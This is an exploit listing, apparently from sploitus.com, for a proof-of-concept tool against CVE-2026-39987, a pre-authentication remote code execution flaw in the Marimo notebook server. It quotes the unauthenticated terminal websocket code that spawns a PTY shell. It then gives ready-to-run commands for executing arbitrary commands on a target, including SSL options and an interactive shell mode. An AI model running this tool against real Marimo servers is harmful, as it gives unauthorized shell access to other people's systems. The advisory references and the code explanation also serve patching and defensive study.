## https://sploitus.com/exploit?id=9615E58C-205F-5C09-8C3E-8CDE67C96FF0
# CVE-2026-39987 For Marimo 0.20.4 PoC
#### ⚠️ This tool is intended for educational purposes and authorized security testing only. The creator is not responsible for any unauthorized or illegal use. Use at your own risk. ⚠️
Info:
CVE-2026-39987 is a critical pre-authentication Remote Code Execution (RCE) vulnerability in Marimo (versions prior to 0.23.0)
Why it works:
The /terminal/ws endpoint is exposed without any authentication.
inside: ```marimo/_server/api/endpoints/terminal.py```
```
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
```
As you can see there's no authentication check at all before it creates a PTY shell.
### Example use of the tool:
```
python3 CVE-2026-39987.py example.com -c 'whoami'
```
if it gives nothing and the target uses SSL use the ```--max-wait``` and ```--any-ssl``` arg.
```
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
```
there's also interactive mode
```
python3 CVE-2026-39987.py example.com -i --any-ssl
```
### References:
1. https://nvd.nist.gov/vuln/detail/CVE-2026-39987
2. https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
3. https://vulners.com/cve/CVE-2026-39987
4. https://github.com/marimo-team/marimo